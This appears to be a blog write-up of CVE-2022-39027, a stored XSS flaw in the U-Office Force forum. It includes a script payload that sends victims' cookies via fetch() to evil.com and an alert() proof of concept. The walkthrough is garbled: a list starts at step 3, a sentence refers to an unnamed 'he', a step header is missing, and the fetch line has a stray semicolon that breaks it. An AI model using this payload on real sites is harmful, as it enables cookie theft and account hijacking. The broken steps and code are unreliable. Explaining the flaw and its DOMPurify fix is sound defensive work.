CVE-2022-39027 - How Unfiltered Special Characters in U-Office Force Forum Open the Door to Stored XSS (with PoC)

CVE-2022-39027 is a major vulnerability discovered in the U-Office Force platform, specifically within the forum module. This issue happens because the software doesn’t filter out special characters in forum posts properly. As a result, an attacker with just regular user access can inject malicious JavaScript into forum posts. This is a classic case of Stored Cross-Site Scripting (or Stored XSS), which can have serious security consequences for unsuspecting users.

Why Does This Matter?

Stored XSS means malicious scripts get saved on the server, and every user visiting the infected page is a potential victim. Attackers can use this to steal user cookies, hijack accounts, or perform actions on behalf of other users.

Here’s a basic but effective JavaScript payload an attacker could use

<script>
  fetch('https://evil.com/steal?cookie='; + document.cookie);
</script>

He creates a new post and inserts the above <script> snippet into the text area.

3. Victims who view this post will automatically make a request to the attacker’s server with their cookie data.

Bob has a user account. He creates a post

Title: Check this out!
Content: <script>alert('XSS! Exploit by CVE-2022-39027');</script>

Step 2: The Vulnerable App Stores the Script

U-Office Force Forum doesn’t filter out <script> tags. The above post is saved as-is.

Step 3: Readers Get Infected

Any user who opens this post will see the alert pop up—proof the JavaScript executed. If the script was more malicious (like the fetch() example above), it could steal cookies or perform actions on behalf of the victim.

How to Fix

Developers should always sanitize user input, especially in user-generated content displayed to others. Libraries like DOMPurify are excellent for this purpose. Ban <script>, <img onerror>, or any dangerous HTML tags and attributes.

const DOMPurify = require('dompurify');
const cleanHtml = DOMPurify.sanitize(dirtyHtml);

References

- NVD Description for CVE-2022-39027
- U-Office Force official website
- How to Prevent XSS Attacks (OWASP)

Final Thoughts

CVE-2022-39027 is a classic reminder: never trust user input, even from "trusted" users. One small oversight in filtering special characters gave anyone with forum access a chance to compromise other users. Always sanitize and validate everything, and keep up with the latest updates to stay safe!

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Happy (and safe) coding!

*If you found this useful, make sure to patch up your U-Office Force install and spread the word to help others secure their sites.*

Timeline

Published on: 10/31/2022 07:15:00 UTC